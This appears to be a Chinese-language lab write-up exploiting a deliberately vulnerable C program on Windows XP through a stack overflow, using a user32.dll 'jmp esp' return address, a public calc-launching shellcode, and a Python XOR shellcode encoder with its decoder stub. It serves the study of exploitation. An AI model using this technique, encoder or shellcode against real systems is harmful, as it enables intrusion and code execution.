测试环境: windows xp
测试代码:
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password(char *password){
int authenticated;
char buffer[44]; // local buffer
authenticated = strcmp(password, PASSWORD);
strcpy(buffer,password); // overflow
return authenticated;
}
void main(){
int valid_flag = 0;
char password[1024];
FILE *fp;
LoadLibrary("user32.dll"); // load library
if(!(fp=fopen("password.txt","rw+"))){
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag){
printf("errorerror!\n\n");
}else{
printf("okokokok!");
}
fclose(fp);
}
ESP总是指向系统栈,并且不会被溢出的数据破坏,函数返回时,ESP所指的位置是所覆盖的返回地址的下一个位置,其中0x0012FB24
处是返回地址,0x0012FB28
是esp
指向的位置,所以可以通过溢出覆盖函数返回地址为jmp esp
流程:
1、覆盖返回地址指令为: jmp esp
2、将shellcode放到返回地址后,返回地址前可用任意填充物(最好用0x90)
现在面临的就是如何得到jmp esp
指令的地址,可以从一些系统dll
里面搜索,比如利用msfpescan -f -j esp /media/psf/Home/user32.dll
对user32.dll搜索jmp esp
这里使用0x77d29353
作为利用
从github上找到一个calc的shellcode: https://github.com/peterferrie/win-exec-calc-shellcode
因为文件读取会受一些字符的影响,所以需要一个shellcode编码器,下面简单的写了一个shellcode编码生成器
black_list = "00 0a 0d ff 89 0b 0c 0d 1a 09"
shellcode = '''
31 D2 52 68 63 61 6C 63 54 59 52 51 64 8B 72 30 8B 76 0C 8B 76 0C AD 8B 30 8B 7E 18 8B 5F 3C 8B 5C 1F 78 8B 74 1F 20 01 FE 8B 54 1F 24 0F B7 2C 17 42 42 AD 81 3C 07 57 69 6E 45 75 F0 8B 74 1F 1C 01 FE 03 3C AE FF D7 58 58 61 C3
'''.strip().split(" ")
# add 0x90 as end
shellcode.append('90')
for r_ in range(1, 255):
tmp_ = ''
for i_ in shellcode:
now_value = eval("0x"+i_) ^ r_
now_value = str(hex(now_value))[2:]
if now_value in black_list:
break
if len(now_value) == 1:
now_value = '0' + now_value
tmp_ += '\\x' + now_value
else:
work_xor = str(hex(r_))
print 'Xor Key: ', work_xor
print 'Shell Code: ',tmp_,"\n"
break
else:
print 'Enc ShellCode Eroor!'
exit()
print "Encode Shellcode:"
shell_enc_code = '''
"\\x8B\\xC4"
"\\x83\\xC0\\x16"
"\\x33\\xC9"
"\\x8A\\x1C\\x08"
"\\x80\\xF3\\{}"
"\\x88\\x1C\\x08"
"\\x41"
"\\x80\\xFB\\x90"
"\\x75\\xF1"
"{}"
'''.format(work_xor[1:],tmp_)
print shell_enc_code
print "Hex: "
print shell_enc_code.replace("\"","").replace("\n","").replace("\\x"," ").strip()
## shellcode decode :
#
# "\\x8B\\xC4" // mov eax,esp
# "\\x83\\xC0\\x16" // add eax,16H
# "\\x33\\xC9" // xor ecx,ecx
# "\\x8A\\x1C\\x08" // mov bl,byte ptr ds:[eax + ecx]
# "\\x80\\xF3\\{}" // xor bl,xxx
# "\\x88\\x1C\\x08" // mov byte ptr ds:[eax + ecx],bl
# "\\x41" // inc ecx
# "\\x80\\xFB\\x90" // cmp bl,90h
# "\\x75\\xF1" // jnz short decode
这里需要注意的几点是
1、当时按照书上的例子调试发现,一开始eax的值存在问题,指向不到正确的shellcode位置,所以在一开始的时候增加了mov eax,esp
2、循环xor decode的时候,为了方便设置了一个90h作为真正的shell code结尾符
Pwned!